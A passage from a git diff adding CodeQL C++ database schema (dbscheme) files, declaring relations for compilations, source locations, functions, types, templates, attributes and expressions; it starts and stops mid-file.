ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | 